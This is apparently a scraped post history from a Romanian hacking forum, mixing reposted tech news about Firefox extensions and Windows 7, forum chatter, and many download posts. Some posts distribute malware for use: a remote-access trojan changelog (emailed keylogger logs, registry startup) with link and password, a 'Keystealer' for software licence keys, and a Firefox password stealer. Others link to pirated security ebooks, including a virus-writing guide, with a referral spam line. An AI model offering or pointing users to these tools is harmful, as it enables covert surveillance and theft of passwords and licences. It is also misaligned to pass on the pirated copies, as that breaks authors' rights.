Nytro

12 extensii utile pentru Firefox de Bianca Dinu | 17 aprilie 2009 Firefox a fost si ramane, deocamdata, browserul cel mai utilizat atat pentru viteza si securitate, cat si pentru optiunile de personalizare. Acestea din urma, suplimentele si extensiile Firefox, permit personalizarea experientei fiecarui utilizator pe web. Despre ele, de fapt o foarte mica parte din tot ceea ce ofera browserul Firefox, veti gasi mai multe informatii in cele ce urmeaza. Succes la download! FoxTab (download: http://www.hit.ro/downloads/browsers/foxtab-1-1-2 ) FoxTab este o extensie 3D pentru tab-urile de browsing. Cu cele cinci layout-uri atractive, schimbarea tab-urilor deja deschise este mult mai usor de realizat. Faptul ca totul se intampla intr-un mediu 3D, gruparea, filtrarea si inchiderea sau deschiderea de noi tab-uri se transforma intr-o experienta inedita si atractiva. FoxTax este o extensie care schimba complet viziunea asupra modalitatii de navigare pe Internet. Functioneaza pe Windows XP, Vista, Mac OS X Leopard si Linux. Read It Later (download: http://www.hit.ro/downloads/browsers/read-it-later-0-9941 ) Extensia Read It Later permite salvarea paginilor de interes pentru utilizator, astfel incat acesta le poate parcurge sau citi fie atunci cand va avea neoie, fie atunci cand va avea timp. Extensia elimina dezordinea din ferestrele de navigare si le pastreaza numai pe cele pe care utilizatorul le marcheaza ca fiind de interes pentru el. Extensia se activeaza in momentul in care se selecteaza link-urile de interes si se marcheaza prin click. Weave Sync (download: http://www.hit.ro/downloads/browsers/mozilla-labs--weave-sync-0-3-0-1 ) WeaveSync este o extensie care cripteaza si sincronizeaza in mod securizat setarile Firefox cu celelalte browsere. Pe langa browser, WeaveSync pastreaza toate setarile din Forefox si pentru mai multe calculatoare desktop sau laptop dar si pentru telefoane mobile. Weave salveaza pe serverele Mozilla lista de bookmark-uri, site-urile vizitate, cookie-urile si alte informatii determinate de navigarea cu browserul Mozilla. FindList (download: https://addons.mozilla.org/en-US/firefox/addon/11147 ) Extensia FindList transforma box-ul de cautare in paginile web intr-o lista de tip drop down. FindList pastreaza in aceasta lista pana la 15 elemente salvate din cautarile anterioare ale utilizatorului. Extensia este considerata foarte utila pentru cei care opereaza in mod regulat cautari similare. Cooliris (download: http://www.hit.ro/downloads/browsers/cooliris-1-9-1 ) Full-screen si 3D – extensia Cooliris este un fel de "tab preview" prin care se poate vizualiza orice link, imagine sau clip video dintr-o pagina fara a fi nevoie sa se deschida acea pagina intr-o fila sau fereastra noua. In plus, Cooliris impresioneaza de cele mai multe ori prin modul de afisare a imaginilor sau clipurilor video rezultate din cautari (incercati de exemplu sa folositi Cooliris in Google Images sau YouTube). Personas (download: http://www.hit.ro/downloads/browsers/personas-for-firefox-1-0) Personas for Firefox este o extensie care include zeci de teme si skin-uri pentru browser. Prin intermediul acestora se poate schimba fundalul browserului, fara repornirea programului. Cu Personas, fiecare isi poate personaliza si individualiza browserul cu sute de designuri deja disponibile sau isi poate crea propriul design. Schimbarea temelor se poate realiza cu ajutorul unui buton plasat pe status bar. Video DownloadHelper (download: http://www.hit.ro/downloads/browsers/video-downloadhelper-4-3 ) Video DownloadHelper este cea mai usoara modalitate prin care puteti downloada si converti video-urile de pe Web, mai exact de pe majoritatea site-urilor de tip YouTube. Extensia functioneaza atat pentru galeriile audio cat si pentru cele de imagini. PDF Download (download: http://www.hit.ro/downloads/browsers/pdf-download-2-1-0-2 ) PDF Download se poate folosi pentru vizualizarea fisierelor PDF in Firefox ca si HTML. De asemenea, prin toolbar-ul Web-to-PDF puteti salva si shareui paginile Web la calitatea unui fisier PDF. Browser Backgrounds (download: http://www.hit.ro/downloads/browsers/browser-backgrounds-0-2 ) Pana acum, ideea de background image era corelata numai cu wallpaperele pentru desktop. Cu extensia Browser Backgrouns de la Firefox, acest lucru devine posibil si pentru browser. Folosind extensia, puteti alege dintr-o gama extinsa de imagini pe care le puteti plasa, ulterior in fundalul browserului fara a il inchide sau a opri navigarea. De asememena, utilizatorul isi poate uploada propriile imagini in browser. Nature Photos Boom (download: https://addons.mozilla.org/en-US/firefox/addon/10438 ) In cazul in care nu vrei ca pe intregul browser sa apara fotografia preferata, poti alege sa iti personalizezi numai o parte din fereastra de navigare. Cu Nature Photos Boom aveti la dispozitie opt teme pentru toolbar si sidebar, pe care le puteti schimba fara inchiderea, restartarea sau incetinirea browserului. Pearl Crescent Page Saver Basic (download: http://www.hit.ro/downloads/browsers/pearl-crescent-page-saver-basic-2-1 ) Cu extensia Pearl Crescent Page Saver Basic puteti salva orice imagine incarcata pe o pagina Web (inclusiv continut Flash prin activarea functiei “Arrange to Capture Flash Content”) in propriul computer. Screenshot-urile pot fi capturate interactiv sau din meniul de comenzi. Aveti optiunea de a alege si selecta formatul imaginii (PNG sau JPEG), dimensiunile precum si denumirea acesteia. Gradient iPaques (download: https://addons.mozilla.org/en-US/firefox/addon/11081 ) Ultima, dar nu cea din urma, extensie din aceasta categorie este o tema referitoare la Sarbatorile de Paste. Odata instalata aceasta tema, oua colorate si iepurasi vor aparea de peste tot. Butoanele de back si forward vor fi personalizate in forma de oua rosii. Sursa: Hit.ro

Hackers 1995 - Un jeg de film, cred ca are o mare vina pentru interpretarea conceptului de "hacker". Asa am vazut ceva dragut, era si despre Defcon, mai multe, practic nu film, un documentar: "Hackers are peple too", dar nu aveam subtitrare si nu am stat sa traduc tot ce zic aia, deci nu am inteles mare lucru.

Florin Salam - Pune pune pune

Ce s-ar face ratatii de turci fara exploituri...

E extrem de complicat in PHP: http://php.net/hash Mai exact: http://www.php.net/manual/en/function.hash.php Si algoritmii: http://www.php.net/manual/en/function.hash-algos.php Incerc sa pun mai multe, dar cand am timp. Si la mIRC e foarte putin, nu am stat sa fac cum trebuie.

E Royal Crypter v3.0 care nu prea mai e bun

Nu m-am referit neaparat la coeficientul de inteligenta, dar acesta, de cele mai multe ori depinde strict de varsta. E totusi un criteriu pentru selectie dupa parerea mea, spre exemplu majoritatea celor care voiau CQ nu prea cred ca aveau mai mult de 12 ani.

Asa as avea eu o propunere. Cateva intrebari: 1) Cati ani ai? 2) De ce vrei sa iti faci cont aici? 3) Ce e ala un mouse? Si asa mai departe... Iar cineva valideaza conturile. Dar nu cred ca e cazul, eu nu am prea mai vazut obsedati de CQ si de parole de mess sau alte prostii. Edit: Sunt multi leecheri, care nu fac nimic, nu posteaza nimic. Cel mai bine, sa primeasca ban cei care au sub 10 posturi. Pentru ca nu are rost sa fie sterse conturile. Si daca ar mai fi si acea optiune de validare dupa cateva intrebari ar fi perfect...

XP va ramane la putere, in defavoarea Windows 7 de Bianca Dinu | 15 aprilie 2009 Windows 7 se vrea a fi marea salvare a gigantului Microsoft, in conditiile in care ultimul sistem de operare lansat pana acum, Windows Vista, nu a fost nici pe departe cel mai mare succes. Totusi, potrivit unui studiu realizat de firma de cercetare Dimensional Research, se pare ca nici mult promovatul Windows 7 nu va fi folosit la scara larga, cel putin pana nu se dovedeste practic pentru nevoile utilizatorilor. Astfel, cele mai multe companii au declarat ca sunt si vor ramane precaute, preferand sa ramana fidele sistemului de operare Windows XP in loc sa riste achizitionarea si folosirea unui produs pe care nu il cunosc. Potrivit studiului, 83% dintre persoanele si companiile chestionate au declarat ca vor astepta cel putin 12 luni pana sa incerce Windows 7. Desi Windows XP trece oficial in suport limitat, la aproape opt ani dupa lansare, utilizatorii (fie ei companii sau individuali) se bazeaza pe el mai mult ca pe orice alta aplicatie. Sondajul a fost realizat in luna martie a acestui an, la el participand peste 1000 de profesionisti din IT si utilizatori ai sistemelor de operare Windows XP si Windows Vista.

Cei interesati de subiect: http://hackpedia.info/viewforum.php?f=152

Ma bag si eu. Lucrez la challenge-uri...

1 - Some new functions -Send keylogger logs by email -Run server in a visible mode -Upload the plugin automatically during a new connection -Ability to update the server and send plugin by URL -Ability to make changes in configurations of installation of the server without the need to update -Encrypted connection (in this first version the crypt function is simple and can be modified in future versions) -Functions of MSN. This function is under test and does not work on some versions of messenger -Option to perform download directory -Ping function -New startup method: Run Explorer (HKLM and HKCU) -Open file with parameters in the file manager 2 - Some corrections made: -The connection with client was modified to avoid the loss from the server after a disconnection. -Correction of boot methods -Correction in filesearch function that caused crash of the server in some cases -Correction in the keylogger, which the user tried to perform the download of logs occurred, in some cases, the crash of the server -Fixed other small bugs that do not affect the execution of the program. Download: http://www.netdrive.ws/165943.html Password: Spy-Net

Download: http://www.netdrive.ws/165942.html

Splinter Cell Pandora Tomorrow DVD Audio Extractor (Name) Splinter Cell Chaos Theory Call of Duty Call of Duty United Offensive Call of Duty 2 Call of Duty 4 Call of Duty WAW Dawn of War Dawn of War - Dark Crusade Dawn of War - Dark Crusade Dawn of War - Dark Crusade Medieval II Total War Adobe Goolive Nero 7 ACDSystems PicAView Act of War Adobe Photoshop 7 Advanced PDF Password Recovery Advanced PDF Password Recovery Pro Advanced ZIP Password Recovery Anno 1701 Ashamopp WinOptimizer Platinum AV Voice Changer Battlefield(1942) Battlefield 1942 Secret Weapons of WWII Battlefield 1942 The Road to Rome Battlefield 2 Battlefield(2142) Battlefield Vietnam Black and White Black and White 2 Boulder Dash Rocks Burnout Paradise Camtasia Studio 4(Name) Camtasia Studio 4(Key) Chrome Codec Tweak Tool Command and Conquer Generals Command and Conquer Generals Zero Hour Red Alert 2 Red Alert Command and Conquer Tiberian Sun Command and Conquer 3 Command and Conquer 3 Company of Heroes Company of Heroes Counter-Strike Crysis PowerDVD PowerBar CyberLink PowerProducer Day of Defeat The Battle for Middle-earth II The Sims 2 The Sims 2 University The Sims 2 Nightlife The Sims 2 Open For Business The Sims 2 Pets The Sims 2 Seasons The Sims 2 Glamour Life Stuff The Sims 2 Celebration Stuff The Sims 2 H M Fashion Stuff The Sims 2 Family Fun Stuff DVD Audio Extractor (Serial) Empire Earth II F.E.A.R F-Secure FARCRY FIFA 2002 FIFA 2003 FIFA 2004 FIFA 2005 FIFA 07 FIFA 08 Freedom Force Frontlines: Fuel of War Beta Frontlines: Fuel of War GetRight Global Operations Gunman Half-Life Hllgate: London Hidden & Dangerous 2 IGI 2 Retail InCD Serial InCD Username IG2 iPod Converter (Registration Code) iPod Converter (User Name) James Bond 007 Nightfire Status Legends of Might and Magic Macromedia Flash 7 Macromedia Fireworks 7 Macromedia Dreamweaver 7 Madden NFL 07 Matrix Screensave Medal of Honor: Airborne Medal of Honor: Allied Assault Medal of Honor: Allied Assault: Breakthrough Medal of Honor: Allied Assault: Spearhead Medal of Honor: Heroes 2 mIRC Nascar Racing 2002 Nascar Racing 2003 NHL 2002 NBA LIVE 2003 NBA LIVE 2004 NBA LIVE 07 NBA Live 08 Need for Speed Carbon Need For Speed Hot Pursuit 2 Need for Speed Most Wanted Need for Speed ProStreet Need For Speed Underground Need for Speed Underground 2 Nero - Burning Rom Nero 7 Nero 8 NHL 2002 NHL 2004 NHL 2005 NOX Numega SmartCheck OnlineTVPlayer (Name) OnlineTVPlayer (Serial) O&O Defrag 8.0 (Username) O&O Defrag 8.0 (Company) O&O Defrag 8.0 (Serial) Partition Magic 8.0 Passware Encryption Analyzer (Name) Passware Encryption Analyzer (License) Passware Encryption Analyzer (Serial) Passware Windows Key (License) Passware Windows Key (Name) Passware Windows Key (Serial) PowerDvD PowerStrip Pro Evolution Soccer 2008 Rainbow Six III RavenShield Shogun Total War Warlord Edition Sid(Meier) 's Pirates! Sid(Meier) 's Pirates! Sim City 4 Deluxe Sim City 4 Sniffer Pro 4.5 Soldiers Of Anarchy Soldiers Of Anarchy Stalker - Shadow of Chernobyl Star Wars Battlefront II (v1.0) Star Wars Battlefront II (v1.1) Steganos Internet Anonym VPN Splinter Cell Pandora Tomorrow Surpreme Commander S.W.A.T 2 S.W.A.T 3 S.W.A.T 4 TechSmith SnagIt (Name) TechSmith SnagIt (Name) TechSmith SnagIt (Serial) Texas Calculatem 4 (Owner) Texas Calculatem 4 (Owner) The Battle for Middle-earth The Orange Box The Orange Box TMPGEnc DVD Author TuneUp 2007 (Name) TuneUp 2007 (Key) TuneUp 2007 (Company) TuneUp 2008 (Name) TuneUp 2008 (Key) TuneUp 2008 (Company) TuneUp 2009 (Name) TuneUp 2009 (Key) TuneUp 2009 (Company) Winamp (Username) Winamp (Serial) You need "Net Framework 2.0" Anubis scan: http://anubis.iseclab.org/?action=result&task_id=1ea9b04ed829168b4158c4294a783db94&format=html Download: http://rapidshare.com/files/220157251/Keystealer.rar

Simple FF 3 Stealer use Nirsoft tools Download: http://www.netdrive.ws/165941.html

In this age of viruses and hackers, of electronic eavesdropping and electronic fraud, security is paramount. As the disciplines of cryptography and network security have matured, more practical, readily available applications to enforce network security have developed. This text provides a practical survey of both the principles and practice of cryptography and network security. First, the basic issues to be addressed by a network security capability are explored through a tutorial and survey of cryptography and network security technology. Then, the practice of network security is explored via practical applications that have been implemented and are in use today. Download (11.4Mb): http://rapidshare.com/files/17833529/Cryptography_And_Network_Security.rar Mirror: http://www.filefactory.com/file/4f04a1/ Password: www.ebooksdb.com

The Linux operating system continues to gain market share based largely on its reputation as being the most secure operating system available. The challenge faced by system administrators installing Linux is that it is secure only if installed and configured properly, constantly and meticulously updated, and carefully integrated with a wide variety of Open Source security tools. The fact that Linux source code is readily available to every hacker means that system administrators must continually learn security and anti-hacker techniques. Hack Proofing Linux will provide system administrators with all of the techniques necessary to properly configure and maintain Linux systems and counter malicious attacks. * Linux operating systems and Open Source security tools are incredibly powerful, complex, and notoriously under-documented - this book addresses a real need * CD-Rom contains Red Hat/Mandrake Linux RPMs as well as tarballs for other Linux distributions and the BSD community * Uses forensics-based analysis to give the reader an insight to the mind of a hacker. Download (10.3Mb): http://rapidshare.com/files/18715588/Hack_Proofing_Linux_-_A_Guide_To_Open_Source_Security.rar Mirror: http://www.filefactory.com/file/16d8da/ Password: www.ebooksdb.com

This little black book discover all knowledge you required to become a virus coder and also to be virus decoder. Ahh...! I think you all already know what is it.. right...? then i just want to tell you that (i mean the definition of computer virus) it is... A computer virus is a computer program that can copy itself and infect a computer without permission or knowledge of the user. A computer virus is a computer program that can copy itself and infect a computer without permission or knowledge of the user. The original may modify the copies or the copies may modify themselves, as occurs in a metamorphic virus. A virus can only spread from one computer to another when its host is taken to the uninfected computer, for instance by a user sending it over a network or carrying it on a removable medium such as a floppy disk, CD, or USB drive. Additionally, viruses can spread to other computers by infecting files on a network file system or a file system that is accessed by another computer. Viruses are sometimes confused with computer worms and Trojan horses. A worm, however, can spread itself to other computers without needing to be transferred as part of a host. A Trojan horse is a form of malware that presents itself as a legitimate program. In contrast to viruses, Trojan horses do not insert their code into other computer files. Many personal computers are now connected to the Internet and to local-area networks, facilitating their spread. Today's viruses may also take advantage of network services such as the World Wide Web, e-mail, and file sharing systems to spread, blurring the line between viruses and worms. Furthermore, some sources use an alternative terminology in which a virus is any form of self-replicating malware. The term comes from the term virus in biology. A computer virus reproduces by making, possibly modified, copies of itself in the computer's memory, storage, or over a network. This is similar to the way a biological virus works. Some viruses are programmed to damage the computer by damaging programs, deleting files, or reformatting the hard disk. Others are not designed to do any damage, but simply replicate themselves and perhaps make their presence known by presenting text, video, or audio, messages. Even these benign viruses can create problems for the computer user. They typically take up computer memory used by legitimate programs. As a result, they often cause erratic behavior and can result in system crashes. In addition, many viruses are bug-ridden, and these bugs may lead to system crashes and data loss. There are many viruses operating in the general Internet today, and new ones are discovered every day. GOTO www.agloco.com for BIG MONEY USING THIS REFFERAL's ID : BBBY6996 ....okey, Download: http://rapidshare.com/files/20500009/The_little_black_book_of_computer_virus.rar Password: www.softarchive.net

The Secure Sockets Layer (SSL) and Transport Layer Security(TLS) protocols form the foundation for e-commerce security on the World Wide Web, verifying the authenticity of Web sites, encrypting the transfer of sensitive data, and ensuring the integrity of information exchanged. Now-for the first time the details of these critical security protocols are available in a complete, clear, and concise reference. SSL and TLS Essentials provides complete documentation of the SSL and TLS protocols, including advanced and proprietary extensions never before published. The book thoroughly covers the protocols in operation, including the contents of their messages, message formats, and the cryptographic calculations used to construct them. The text also includes an introduction to cryptography and an explanation of X.509 public key certificates. Stephen Thomas, author of IPng and the TCP/IP Protocols, presents this complex material in a clear and reader-friendly manner. The book includes more than 80 figures and illustrations to supplement its text, and it describes SSL in the context of real-world, practical applications. Download (1Mb): http://rapidshare.com/files/22733925/SSL_and_TLS_Essentials_-_Securing_the_Web.rar Mirror: http://www.filefactory.com/file/0c4f79/ Password: www.ebooksdb.com

Did you know that a typical unprotected PC is attacked within 20 minutes of being connected to the Internet? Protect yourself and your family with the CA Internet Security * Recognize the enemy—viruses, worms, Trojan horses, and zombies * Find the lurking applications on your system—spyware and adware * Stop spammers from using your computer to send bulk emails by the millions * Surf sensibly with the right Web browser * Block hackers with the robust CA personal firewall * Update your PC protection regularlyCA Founded in 1976, CA is a global company with 150 offices in more than 45 countries and revenues of $3.5 billion in 2005. With over 15,000 employees, CA provides products and support to 980f Fortune 500® companies, as well as government entities, educational institutions, and thousands of other companies in diverse industries worldwide. CA products cover systems, networks, security, storage, and databases. Download (5.4Mb): http://rapidshare.com/files/22894917/Wiley.Simple.Computer.Security.Disinfect.Your.PC.Jan.2007.eBook-BBL.rar Mirror: http://www.filefactory.com/file/29c942/ Password: www.ebooksdb.com

In the fast-moving world of computers, things are always changing. Since the first edition of this strong-selling book appeared two years ago, network security techniques and tools have evolved rapidly to meet new and more sophisticated threats that pop up with alarming regularity. The second edition offers both new and thoroughly updated hacks for Linux, Windows, OpenBSD, and Mac OS X servers that not only enable readers to secure TCP/IP-based services, but helps them implement a good deal of clever host-based security techniques as well. This second edition of Network Security Hacks offers 100 concise and practical hacks, including more information for Windows administrators, hacks for wireless networking (such as setting up a captive portal and securing against rogue hotspots), and techniques to ensure privacy and anonymity, including ways to evade network traffic analysis, encrypt email and files, and protect against phishing attacks. System administrators looking for reliable answers will also find concise examples of applied encryption, intrusion detection, logging, trending and incident response. In fact, this “roll up your sleeves and get busy” security book features updated tips, tricks & techniques across the board to ensure that it provides the most current information for all of the major server software packages. These hacks are quick, clever, and devilishly effective. Download (4Mb): http://rapidshare.com/files/25811510/OReilly.Network.Security.Hacks.2nd.Edition.Oct.2006.rar Mirror: http://www.megaupload.com/?d=J8YD9EET Password: www.ebooksdb.com

The effective management of risks online is likely to be the greatest business enabler / destroyer of the next decade. Clearly, organizations that do not move to full e-commerce functionality are unlikely to flourish; whereas those that ignore cyber crime and the "dark side" of the Internet are likely to get badly burnt. This important new book highlights the key issues in online risk management, taking the premise that information security is no longer an issue confined to the IT department but is critical to all operational functions: finance, HR, marketing, production etc. Nor are its solutions purely technical. With two thirds of security breaches said to be caused by human error, management controls and processes are equally important. Download (0.6Mb): http://rapidshare.com/files/28872285/The_Secure_Online_Business_E.Commerce_It_Functionality_and_Business_Continuity.rar Mirror: http://www.megaupload.com/?d=YWFCOMCY Password: www.ebooksdb.com

A good defense starts with a thorough understanding of your opponent’s offense. Hackers Beware teaches you how hackers think, what tools they use, and the techniques they utilize to compromise a machine. Eric Cole, a leading expert in information security, shows you not only how to detect these attacks, but what you can do to protect yourself against them. When it comes to securing your site, knowledge is power. This book gives you the knowledge to build a proper defense against attackers. With so much going on in regard to network security (or the lack thereof), a book on this topic almost needs no introduction. Less than 10 years ago, most people didn’t even know what the Internet or email was. To take a further step back, most people did not even have computers at work or home, and some even questioned their usefulness. Things have really changed. As I am writing this, the Carousel of Progress ride at Disney World goes through my mind. Things that we considered science fiction a decade ago are not only a reality, but an engrained part of our life. Heck, if the dedicated line at my house goes down for more than 30 minutes, my wife is screaming at me to fix it. This is truly the age of computers. TABLE OF CONTENT: chapter 01. Introduction chapter 02. How and Why Hackers Do It chapter 03. Information Gathering chapter 04. Spoofing chapter 05. Session Hijacking chapter 06. Denial of Service Attacks chapter 07. Buffer Overflow Attacks chapter 08. Password Security chapter 09. MS NT Password Crackers chapter 10. UNIX Password Crackers chapter 11. Fundamentals of MS NT chapter 12. Specific Exploits for NT chapter 13. Fundamentals of UNIX chapter 14. Specific Exploits for UNIX chapter 15. Preserving Access chapter 16. Covering the Tracks chapter 17. Other Types of Attacks chapter 18. SANS Top 10 chapter 19. Putting It All Together chapter 20. Summary Download (4.3Mb): http://rapidshare.com/files/37516097/hackbeware.rar Mirror: http://www.megaupload.com/?d=YJCO8JAM Password: www.ebooksdb.com

An Introduction to Cryptography provides a solid mathematical treatment of cryptography for readers with little or no background in number theory. Although intended for undergraduate students, it contains enough optional, advanced material to challenge even the most informed reader and provides a solid basis for a second course on the subject. Throughout the book, the author incorporates nearly 300 problems, more than 80 examples, and over 60 diagrams, figures, and tables, as well as optional topics that go beyond the basics. An extensive index, appendices that review background material, and a list of symbols for easy reference complete this outstanding text. This edition presents the ideas behind cryptography and the applications of the subject. The first chapter provides a thorough treatment of the mathematics necessary to understand cryptography, including number theory and complexity, while the second chapter discusses cryptographic fundamentals, such as ciphers, linear feedback shift registers, modes of operation, and attacks. The next several chapters discuss DES, AES, public-key cryptography, primality testing, and various factoring methods, from classical to elliptical curves. The final chapters are comprised of issues pertaining to the Internet, such as pretty good privacy (PGP), protocol layers, firewalls, and cookies, as well as applications, including login and network security, viruses, smart cards, and biometrics. The book concludes with appendices on mathematical data, computer arithmetic, the Rijndael S-Box, knapsack ciphers, the Silver-Pohlig-Hellman algorithm, the SHA-1 algorithm, radix-64 encoding, and quantum cryptography. TABLE OF CONTENT: Chapter 01 - Mathematical Basics Chapter 02 - Cryptographic Basics Chapter 03 - DES and AES Chapter 04 - Public-Key Cryptography Chapter 05 - Primality Testing Chapter 06 - Factoring Chapter 07 - Electronic Mail and Internet Security Chapter 08 - Leading-Edge Applications Appendix A - Fundamental Facts Appendix B - Computer Arithmetic Appendix C - The Rijndael S-Box Appendix D - Knapsack Ciphers Appendix E - Silver-Pohlig-Hellman Algorithm Appendix F - SHA-1 Appendix G - Radix-64 Encoding Appendix H - Quantum Cryptography Download (2.3Mb): http://rapidshare.com/files/75449954/anintrotocrypt2nd.rar Mirror: http://www.megaupload.com/?d=YYSMWY2M Password: www.ebooksdb.com

With the arrival of IEEE 802.11b (a.k.a. WiFi) and other wireless networking technologies on the market comes a wave of stories about snoops intercepting sensitive LAN traffic from out in the company parking lot or across the concourse at the airport. Hack Proofing Your Wireless Network takes a look at strategies for defending wireless LANs–those based on Bluetooth and IEEE 802.11a as well as WiFi–against signal interception and other attacks peculiar to their wireless nature. Unfortunately, there's also a lot of background information on WiFi (as well as on security principles in general), and this is related to wireless network security only tangentially. Though this material represents unneeded padding, the bulk of the book is made up of useful information about security strategies and defensive configuration. There's also a fair bit of information about the security characteristics of some top-selling wireless networking products. In a section on choosing WiFi access points, the authors give a very explicit list of requirements (the ability to disable service-set identifier broadcasts, 128-bit Wired Equivalent Protocol–WEP–and so on), and list at least three real products (by make and model) that fit the specifications. They then proceed to show how to choose the most secure configuration options on each of the featured products, including the Cisco Systems Aironet and the Agere ORiNOCO. Configuration instructions are easy to follow and illustrated in detail. Information on the offensive side of the equation is shallower–the authors point out that it's possible to drive around, looking for unsecured wireless access points and that WEP has security flaws. Still, this book is one of the first on security for wireless networks, and it provides a lot of good information to the administrators of such networks Download (5.7Mb): http://rapidshare.com/files/20491988/Hac_Proof_Your_Wireless_Network.rar Mirror: http://www.filefactory.com/file/7f71bd/ Password: www.ebooksdb.com